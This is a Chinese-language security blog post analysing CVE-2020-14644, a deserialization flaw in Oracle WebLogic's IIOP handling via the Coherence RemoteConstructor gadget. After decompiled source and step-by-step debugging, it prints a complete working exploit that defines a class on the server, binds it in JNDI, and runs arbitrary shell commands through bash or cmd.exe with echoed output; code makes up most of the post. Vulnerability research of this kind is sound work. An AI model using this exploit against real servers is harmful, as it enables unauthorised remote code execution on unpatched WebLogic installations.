CVE-2020-14644 weblogic iiop反序列化漏洞

ph4nt0mer發表於2020-08-10

0x00 weblogic 受影響版本

Oracle WebLogic Server 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0

0x01 環境準備

1、安裝weblogic server版本。

2、生成wlfullclient.jar包

安裝weblogic_server可以參考https://blog.csdn.net/qq_36868342/article/details/79967606

wlfullclient可以通過,在安裝完weblogic服務以後,來到~/Oracle/Middleware/Oracle_Home/wlserver/server/lib目錄,執行java -jar ~/Oracle/Middleware/Oracle_Home/wlserver/modules/com.bea.core.jarbuilder.jar,就會在lib目錄下生成一個wlfullclient.jar包。這個wlfullclient.jar包包含了weblogic的基本所有功能類。

3、在IDEA新建一個工程檔案。把coherence.jar包和wlfullclient.jar包放在同一個目錄下,同時新增到庫裡。

0x02 反序列化gadget分析。

這次iiop的關鍵反序列化類是RemoteConstructor。程式碼如下:

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.tangosol.internal.util.invoke;

import com.tangosol.io.ClassLoaderAware;
import com.tangosol.io.ExternalizableLite;
import com.tangosol.io.SerializationSupport;
import com.tangosol.io.Serializer;
import com.tangosol.io.SerializerAware;
import com.tangosol.io.pof.PofReader;
import com.tangosol.io.pof.PofWriter;
import com.tangosol.io.pof.PortableObject;
import com.tangosol.util.Base;
import com.tangosol.util.ExternalizableHelper;
import java.io.DataInput;
import java.io.DataOutput;
import java.io.IOException;
import java.io.ObjectStreamException;
import java.io.Serializable;
import java.util.Arrays;
import javax.json.bind.annotation.JsonbProperty;

public class RemoteConstructor<T> implements ExternalizableLite, PortableObject, SerializationSupport, SerializerAware {
    @JsonbProperty("definition")
    protected ClassDefinition m_definition;
    @JsonbProperty("args")
    protected Object[] m_aoArgs;
    private transient Serializer m_serializer;
    protected transient ClassLoader m_loader;

    public RemoteConstructor() {
    }

    public RemoteConstructor(ClassDefinition definition, Object[] aoArgs) {
        this.m_definition = definition;

        for(int i = 0; i < aoArgs.length; ++i) {
            Object arg = aoArgs[i];
            aoArgs[i] = Lambdas.isLambda(arg) ? Lambdas.ensureRemotable((Serializable)arg) : arg;
        }

        this.m_aoArgs = aoArgs;
    }

    public ClassIdentity getId() {
        return this.getDefinition().getId();
    }

    public ClassDefinition getDefinition() {
        return this.m_definition;
    }

    public Object[] getArguments() {
        return this.m_aoArgs;
    }

    public T newInstance() {
        RemotableSupport support = RemotableSupport.get(this.getClassLoader());
        return support.realize(this);
    }

    protected ClassLoader getClassLoader() {
        ClassLoader loader = this.m_loader;
        return loader == null ? Base.getContextClassLoader(this) : loader;
    }

    public boolean equals(Object o) {
        if (!(o instanceof RemoteConstructor)) {
            return false;
        } else {
            RemoteConstructor<?> that = (RemoteConstructor)o;
            return this == that || this.getClass() == that.getClass() && Base.equals(this.m_definition, that.m_definition) && Base.equalsDeep(this.m_aoArgs, that.m_aoArgs);
        }
    }

    public int hashCode() {
        int nHash = this.m_definition.hashCode();
        nHash = 31 * nHash + Arrays.hashCode(this.m_aoArgs);
        return nHash;
    }

    public String toString() {
        return "RemoteConstructor{definition=" + this.m_definition + ", arguments=" + Arrays.toString(this.m_aoArgs) + '}';
    }

    public void readExternal(DataInput in) throws IOException {
        this.m_definition = (ClassDefinition)ExternalizableHelper.readObject(in);
        Object[] aoArgs = this.m_aoArgs = new Object[ExternalizableHelper.readInt(in)];

        for(int i = 0; i < aoArgs.length; ++i) {
            aoArgs[i] = ExternalizableHelper.readObject(in);
        }

    }

    public void writeExternal(DataOutput out) throws IOException {
        ExternalizableHelper.writeObject(out, this.m_definition);
        Object[] aoArgs = this.m_aoArgs;
        ExternalizableHelper.writeInt(out, aoArgs.length);
        Object[] var3 = aoArgs;
        int var4 = aoArgs.length;

        for(int var5 = 0; var5 < var4; ++var5) {
            Object o = var3[var5];
            ExternalizableHelper.writeObject(out, o);
        }

    }

    public void readExternal(PofReader in) throws IOException {
        this.m_definition = (ClassDefinition)in.readObject(0);
        this.m_aoArgs = in.readArray(1, (x$0) -> {
            return new Object[x$0];
        });
    }

    public void writeExternal(PofWriter out) throws IOException {
        out.writeObject(0, this.m_definition);
        out.writeObjectArray(1, this.m_aoArgs);
    }

    public Object readResolve() throws ObjectStreamException {
        return this.newInstance();
    }

    public Serializer getContextSerializer() {
        return this.m_serializer;
    }

    public void setContextSerializer(Serializer serializer) {
        this.m_serializer = serializer;
        if (serializer instanceof ClassLoaderAware) {
            this.m_loader = ((ClassLoaderAware)serializer).getContextClassLoader();
        }

    }
}

RemoteConstructor實現了ExternalizableLite介面,ExternalizableLite介面繼承了Serializable,所以這個RemoteConstructor類是可以進行序列化的。

該類裡沒有readobject函式,但有readResolve函式。詳細瞭解可以參考https://blog.csdn.net/Leon_cx/article/details/81517603

目前總結如下:

  • 必須實現Serializable介面或Externalizable介面的類才能進行序列化
  • transient和static修飾符修飾的成員變數不會參與序列化和反序列化
  • 反序列化物件和序列化前的物件的全類名和serialVersionUID必須一致
  • 在目標類中新增私有的writeObject和readObject方法可以覆蓋預設的序列化和反序列化方法
  • 在目標類中新增私有的readResolve可以最終修改反序列化回來的物件,可用於單例模式防止序列化導致生成第二個物件的問題

readResolve操作是在readobject後面,所以readResolve會覆蓋readobject的內容。

檢視下readResolve函式的內容:


public Object readResolve() throws ObjectStreamException {
        return this.newInstance();
    }
    
public T newInstance() {
        RemotableSupport support = RemotableSupport.get(this.getClassLoader());
        return support.realize(this);
    }

getClassLoader()程式碼:

    protected ClassLoader getClassLoader() {
        ClassLoader loader = this.m_loader;
        return loader == null ? Base.getContextClassLoader(this) : loader;
    }

根據RemoteConstructor的建構函式可知。我們先寫個大框架:

public class App2 {
    public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException {
        /*ClassIdentity classIdentity = new ClassIdentity(
                org.iiop.test1.class
        );*/

        RemoteConstructor remoteConstructor = new RemoteConstructor(
                new ClassDefinition(),
                new Object[]{}
        );



        byte[] serialize= Serializables.serialize(remoteConstructor);

        try {
            Serializables.deserialize(serialize);
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }


    }
}

因為this.m_loader是transient修飾的,所以loader會是null,返回的是Base.getContextClassLoader(this)。

看下RemotableSupport裡面的realize方法:

public <T> T realize(RemoteConstructor<T> constructor) {
        ClassDefinition definition = this.registerIfAbsent(constructor.getDefinition());
        Class<? extends Remotable> clz = definition.getRemotableClass();
        if (clz == null) {
            synchronized(definition) {
                clz = definition.getRemotableClass();
                if (clz == null) {
                    definition.setRemotableClass(this.defineClass(definition));
                }
            }
        }

        Remotable<T> instance = (Remotable)definition.createInstance(constructor.getArguments());
        instance.setRemoteConstructor(constructor);
        return instance;
    }

第一張圖片的報錯是在registerIfAbsent方法裡,因為ClassDefinition我們定義的是空,所以取到definition.getId()為null。

protected ClassDefinition registerIfAbsent(ClassDefinition definition) {
        assert definition != null;

        ClassDefinition rtn = (ClassDefinition)this.f_mapDefinitions.putIfAbsent(definition.getId(), definition);
        return rtn == null ? definition : rtn;
    }


然後導致(ClassDefinition)this.f_mapDefinitions.putIfAbsent(definition.getId(), definition)報錯了

那我們接著看一下ClassDefinition是做啥的,必須給他一個初始化有值的物件,程式碼如下:

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.tangosol.internal.util.invoke;

import com.tangosol.io.ExternalizableLite;
import com.tangosol.io.pof.PofReader;
import com.tangosol.io.pof.PofWriter;
import com.tangosol.io.pof.PortableObject;
import com.tangosol.util.Base;
import com.tangosol.util.ClassHelper;
import com.tangosol.util.ExternalizableHelper;
import java.io.DataInput;
import java.io.DataOutput;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.lang.invoke.MethodHandle;
import java.lang.invoke.MethodHandles;
import java.lang.invoke.MethodType;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import javax.json.bind.annotation.JsonbProperty;

public class ClassDefinition implements ExternalizableLite, PortableObject {
    protected transient Class<? extends Remotable> m_clz;
    protected transient MethodHandle m_mhCtor;
    @JsonbProperty("id")
    protected ClassIdentity m_id;
    @JsonbProperty("code")
    protected byte[] m_abClass;

    public ClassDefinition() {
    }

    public ClassDefinition(ClassIdentity id, byte[] abClass) {
        this.m_id = id;
        this.m_abClass = abClass;
        String sClassName = id.getName();
        Base.azzert(sClassName.length() < 65535, "The generated class name is too long:\n" + sClassName);
    }

    public ClassIdentity getId() {
        return this.m_id;
    }

    public byte[] getBytes() {
        return this.m_abClass;
    }

    public Class<? extends Remotable> getRemotableClass() {
        return this.m_clz;
    }

    public void setRemotableClass(Class<? extends Remotable> clz) {
        this.m_clz = clz;
        Constructor<?>[] aCtor = clz.getDeclaredConstructors();
        if (aCtor.length == 1) {
            try {
                MethodType ctorType = MethodType.methodType(Void.TYPE, aCtor[0].getParameterTypes());
                this.m_mhCtor = MethodHandles.publicLookup().findConstructor(clz, ctorType);
            } catch (IllegalAccessException | NoSuchMethodException var4) {
                throw Base.ensureRuntimeException(var4);
            }
        }

    }

    public Object createInstance(Object... aoArgs) {
        try {
            return this.getConstructor(aoArgs).invokeWithArguments(aoArgs);
        } catch (NoSuchMethodException var10) {
            Constructor[] aCtors = this.m_clz.getDeclaredConstructors();
            Constructor[] var4 = aCtors;
            int var5 = aCtors.length;

            for(int var6 = 0; var6 < var5; ++var6) {
                Constructor ctor = var4[var6];
                if (ctor.getParameterTypes().length == aoArgs.length) {
                    try {
                        return ctor.newInstance(aoArgs);
                    } catch (InvocationTargetException | IllegalAccessException | IllegalArgumentException | InstantiationException var9) {
                    }
                }
            }

            throw Base.ensureRuntimeException(var10);
        } catch (Throwable var11) {
            throw Base.ensureRuntimeException(var11);
        }
    }

    protected MethodHandle getConstructor(Object[] aoArgs) throws NoSuchMethodException {
        if (this.m_mhCtor != null) {
            return this.m_mhCtor;
        } else {
            Class[] aParamTypes = ClassHelper.getClassArray(aoArgs);

            try {
                MethodType ctorType = MethodType.methodType(Void.TYPE, ClassHelper.unwrap(aParamTypes));
                return MethodHandles.publicLookup().findConstructor(this.m_clz, ctorType);
            } catch (NoSuchMethodException var6) {
                try {
                    MethodType ctorType = MethodType.methodType(Void.TYPE, aParamTypes);
                    return MethodHandles.publicLookup().findConstructor(this.m_clz, ctorType);
                } catch (IllegalAccessException var5) {
                    throw Base.ensureRuntimeException(var5);
                }
            } catch (IllegalAccessException var7) {
                throw Base.ensureRuntimeException(var7);
            }
        }
    }

    public void dumpClass(String sDir) {
        if (sDir != null) {
            File dirDump = new File(sDir, this.m_id.getPackage());
            boolean fDisabled = dirDump.isFile() || !dirDump.exists() && !dirDump.mkdirs();
            if (!fDisabled) {
                try {
                    OutputStream os = new FileOutputStream(new File(dirDump, this.m_id.getSimpleName() + ".class"));
                    Throwable var5 = null;

                    try {
                        os.write(this.m_abClass);
                    } catch (Throwable var15) {
                        var5 = var15;
                        throw var15;
                    } finally {
                        if (os != null) {
                            if (var5 != null) {
                                try {
                                    os.close();
                                } catch (Throwable var14) {
                                    var5.addSuppressed(var14);
                                }
                            } else {
                                os.close();
                            }
                        }

                    }
                } catch (IOException var17) {
                }
            }
        }

    }

    public boolean equals(Object o) {
        if (!(o instanceof ClassDefinition)) {
            return false;
        } else {
            ClassDefinition that = (ClassDefinition)o;
            return this == that || this.getClass() == that.getClass() && Base.equals(this.m_id, that.m_id);
        }
    }

    public int hashCode() {
        return this.m_id.hashCode();
    }

    public String toString() {
        return "ClassDefinition{id=" + this.m_id + '}';
    }

    public void readExternal(DataInput in) throws IOException {
        this.m_id = (ClassIdentity)ExternalizableHelper.readObject(in);
        this.m_abClass = ExternalizableHelper.readByteArray(in);
    }

    public void writeExternal(DataOutput out) throws IOException {
        ExternalizableHelper.writeObject(out, this.m_id);
        ExternalizableHelper.writeByteArray(out, this.m_abClass);
    }

    public void readExternal(PofReader in) throws IOException {
        this.m_id = (ClassIdentity)in.readObject(0);
        this.m_abClass = in.readByteArray(1);
    }

    public void writeExternal(PofWriter out) throws IOException {
        out.writeObject(0, this.m_id);
        out.writeByteArray(1, this.m_abClass);
    }
}

新框架程式碼如下:

public class App2 {
    public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException {

        ClassIdentity classIdentity = new ClassIdentity();

        ClassDefinition classDefinition = new ClassDefinition(
                classIdentity,
                new byte[]{}

        );

        RemoteConstructor remoteConstructor = new RemoteConstructor(
                classDefinition,
                new Object[]{}
        );



        byte[] serialize= Serializables.serialize(remoteConstructor);

        try {
            Serializables.deserialize(serialize);
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }


    }
}

還是null,說明要對classIdentity也進行賦值初始化,classIdentity的建構函式如下:

public ClassIdentity(Class<?> clazz) {
        this(clazz.getPackage().getName().replace('.', '/'), clazz.getName().substring(clazz.getName().lastIndexOf(46) + 1), Base.toHex(md5(clazz)));
    }

    protected ClassIdentity(String sPackage, String sBaseName, String sVersion) {
        this.m_sPackage = sPackage;
        this.m_sBaseName = sBaseName;
        this.m_sVersion = sVersion;
    }

可知ClassIdentity是一個new class。我們再同目錄下建立一個test1的類。程式碼如下:

package org.iiop;

public class test1{
    static {
        System.out.println("success");
    }


}

執行程式碼放在優先順序最高的static裡。

修改程式碼:

ClassIdentity classIdentity = new ClassIdentity(org.iiop.test1.class);

        ClassDefinition classDefinition = new ClassDefinition(
                classIdentity,
                new byte[]{}

        );

definition.getId()終於不是null了。

最終來到

definseClass可以通過https://xz.aliyun.com/t/2272學習,我們可以看到sClassName已經是test1的值,但是abClass還是byte[0],按理abClass裡面儲存的應該是test1的bytes值,所以我們需要想辦法把abClass的值改成test1的bytes。一種是反射來修改,一種是看abClass是在哪裡複製的。

這裡我們採取第二種方法,因為byte[] abClass = definition.getBytes();通過可知,abClass是通過definition來賦值的,但是definition我們前面在初始化的時候,只給了類名,沒有給bytes,所以我們修改下程式碼。類的操作可以通過javassist庫來進行操作。

程式碼修改如下:

ClassIdentity classIdentity = new ClassIdentity(org.iiop.test1.class);

        ClassPool cp = ClassPool.getDefault();
        CtClass ctClass = cp.get(org.iiop.test1.class.getName());
        ctClass.replaceClassName(org.iiop.test1.class.getName(), org.iiop.test.class.getName() + "$" + classIdentity.getVersion());
        System.out.println(ctClass.toString());

        ClassDefinition classDefinition = new ClassDefinition(
                classIdentity,
                ctClass.toBytecode()

        );

因為之前看到的sClassName是test1$+十六進位制,所以要做個replaceClassName的替換操作。
不替換前:

替換後:

執行之後:

成功把test1的內容給執行了,但是還有個報錯。
org.iiop.test1$0BC03FF199F8E95021E1281BDFAAA032 cannot be cast to com.tangosol.internal.util.invoke.Remotable沒有實現Remotable介面,那就改寫下test1。

package org.iiop;

import com.tangosol.internal.util.invoke.Remotable;
import com.tangosol.internal.util.invoke.RemoteConstructor;

public class test1 implements Remotable {
    static {
        System.out.println("success");
    }


    @Override
    public RemoteConstructor getRemoteConstructor() {
        return null;
    }

    @Override
    public void setRemoteConstructor(RemoteConstructor remoteConstructor) {

    }
}

最終成功,無報錯:

基本框架結束以後,在外面套一個T3協議或者iiop傳送出去,即可rce。因為使用的是defineClass所以是可以直接回顯的。
這邊我直接給出UnicodeSec的利用iiop回顯程式碼,其中有個小bug,我修改了一下一點點程式碼:
因為他的邏輯是if(iiopCtx.lookup("UnicodeSec") == null)我在測試過程中發現,因為第一次不存在UnicodeSec一定會是報錯,導致一直不能進入rebind,一直迴圈在if這裡,所以我採用try的方法,其他程式碼不變

package org.iiop;

import com.tangosol.internal.util.invoke.ClassDefinition;
import com.tangosol.internal.util.invoke.ClassIdentity;
import com.tangosol.internal.util.invoke.RemoteConstructor;
import javassist.ClassPool;
import javassist.CtClass;
import weblogic.cluster.singleton.ClusterMasterRemote;
import weblogic.jndi.Environment;

import javax.naming.Context;
import javax.naming.NamingException;
import java.rmi.RemoteException;

/**
 * created by UnicodeSec potatso
 */
public class App {
    public static void main(String[] args) throws Exception {
        String text = "                   ___   ___ ___   ___        __ __ _  _     __ _  _   _  _                     \n" +
                "                  |__ \\ / _ \\__ \\ / _ \\      /_ /_ | || |   / /| || | | || |                    \n" +
                "   _____   _____     ) | | | | ) | | | |______| || | || |_ / /_| || |_| || |_    _____  ___ __  \n" +
                "  / __\\ \\ / / _ \\   / /| | | |/ /| | | |______| || |__   _| '_ \\__   _|__   _|  / _ \\ \\/ / '_ \\ \n" +
                " | (__ \\ V /  __/  / /_| |_| / /_| |_| |      | || |  | | | (_) | | |    | |   |  __/>  <| |_) |\n" +
                "  \\___| \\_/ \\___| |____|\\___/____|\\___/       |_||_|  |_|  \\___/  |_|    |_|    \\___/_/\\_\\ .__/ \n" +
                "                                                                                         | |    \n" +
                "                                                                                         |_|    " +
                "                                                     Powered by UnicodeSec potatso              ";
        System.out.println(text);
        String host = "127.0.0.1";
        String port = "7001";
        String command = "whoami";
        Context iiopCtx = getInitialContext(host, port);
        try{
            iiopCtx.lookup("UnicodeSec");
        }catch (Exception e){
            ClassIdentity classIdentity = new ClassIdentity(org.iiop.test.class);
            ClassPool cp = ClassPool.getDefault();
            CtClass ctClass = cp.get(org.iiop.test.class.getName());
            ctClass.replaceClassName(org.iiop.test.class.getName(), org.iiop.test.class.getName() + "$" + classIdentity.getVersion());
            RemoteConstructor constructor = new RemoteConstructor(
                    new ClassDefinition(classIdentity, ctClass.toBytecode()),
                    new Object[]{}
            );
            String bindName = "UnicodeSec" + System.nanoTime();
            iiopCtx.rebind(bindName, constructor);
        }
            executeCmdFromWLC(command, iiopCtx);
    }

    private static void printUsage() {
        System.out.println("usage: java -jar cve-2020-14644.jar host port command");
        System.exit(-1);
    }

    private static void executeCmdFromWLC(String command, Context iiopCtx) throws NamingException, RemoteException {
        ClusterMasterRemote remote = (ClusterMasterRemote) iiopCtx.lookup("UnicodeSec");
        String response = remote.getServerLocation(command);
        System.out.println(response);
    }

    public static Context getInitialContext(String host, String port) throws Exception {
        String url = converUrl(host, port);
        Environment environment = new Environment();
        environment.setProviderUrl(url);
        environment.setEnableServerAffinity(false);
        Context context = environment.getInitialContext();
        return context;
    }

    public static String converUrl(String host, String port) {
        return "iiop://" + host + ":" + port;
    }


}

test的程式碼:

package org.iiop;

import com.tangosol.internal.util.invoke.Remotable;
import com.tangosol.internal.util.invoke.RemoteConstructor;
import weblogic.cluster.singleton.ClusterMasterRemote;

import javax.naming.Context;
import javax.naming.InitialContext;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.rmi.RemoteException;
import java.util.ArrayList;
import java.util.List;

public class test implements Remotable, ClusterMasterRemote {


    static {
        try {
            String bindName = "UnicodeSec";
            Context ctx = new InitialContext();
            test remote = new test();
            ctx.rebind(bindName, remote);
            System.out.println("installed");
        } catch (Exception var1) {
            var1.printStackTrace();
        }
    }

    public test() {

    }

    @Override
    public RemoteConstructor getRemoteConstructor() {
        return null;
    }

    @Override
    public void setRemoteConstructor(RemoteConstructor remoteConstructor) {

    }

    @Override
    public void setServerLocation(String var1, String var2) throws RemoteException {

    }

    @Override
    public String getServerLocation(String cmd) throws RemoteException {
        try {

            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            List<String> cmds = new ArrayList<String>();

            if (isLinux) {
                cmds.add("/bin/bash");
                cmds.add("-c");
                cmds.add(cmd);
            } else {
                cmds.add("cmd.exe");
                cmds.add("/c");
                cmds.add(cmd);
            }

            ProcessBuilder processBuilder = new ProcessBuilder(cmds);
            processBuilder.redirectErrorStream(true);
            Process proc = processBuilder.start();

            BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
            StringBuffer sb = new StringBuffer();

            String line;
            while ((line = br.readLine()) != null) {
                sb.append(line).append("\n");
            }

            return sb.toString();
        } catch (Exception e) {
            return e.getMessage();
        }
    }
}

第一次傳送會報錯,因為在rebind,第二次就會回顯:

0x03 總結

這是一次相對其他較簡單的gadget分析,需要了解iiop,cobra,反序列化,序列化等相關知識,同時還需要了解javassist和defineClass的知識。

相關文章